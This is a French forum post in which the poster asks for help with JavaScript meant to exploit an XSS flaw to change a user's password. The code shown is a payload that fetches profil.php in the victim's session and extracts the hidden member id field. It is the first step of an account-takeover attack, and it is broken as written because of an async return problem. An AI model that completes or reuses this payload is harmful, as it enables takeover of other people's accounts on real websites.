Salut,

Nous développons un code JavaScript pour un projet qui doit nous permettre de modifier le mot de passe d'un utilisateur en utilisant une faille XSS.
Voici le code :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var id_membre = get_id();
alert('id membre=' + id_membre);
 
function get_id()
{
    var xhr_object = null;
    //déclaration de l'objet xhr_object
 
    var methode = 'GET';
    var page = './profil.php';
    xhr_object.open(methode, page, true);
    xhr_object.onreadystatechange = function()
    { 
        if(xhr_object.readyState == 4)
        {
            if(xhr_object.status == 200)
            {
                var ancre1 = xhr_object.responseText.indexOf('<input type="hidden" name="id" value="');
                var ancre2 = xhr_object.responseText.indexOf('" />', ancre1);
                var id = xhr_object.responseText.substring(ancre1+38, ancre2);                
		return id;
            }
            else { }
        }
        else {}
    };
    xhr_object.send(null);
}
J'ai trouvé que le problème viendrait du caractère asynchrone de l'exécution car tout est exécuté en même temps et Javacript n'attend pas de recevoir les retours des différentes sous-fonctions pour avancer.
Ainsi, lors de l'exécution, le script renvoie "undefined" comme valeur pour le paramètre "id_membre" sans attendre le retour du substring. Savez-vous comment résoudre ce problème simplement ?
Merci d'avance de vos réponses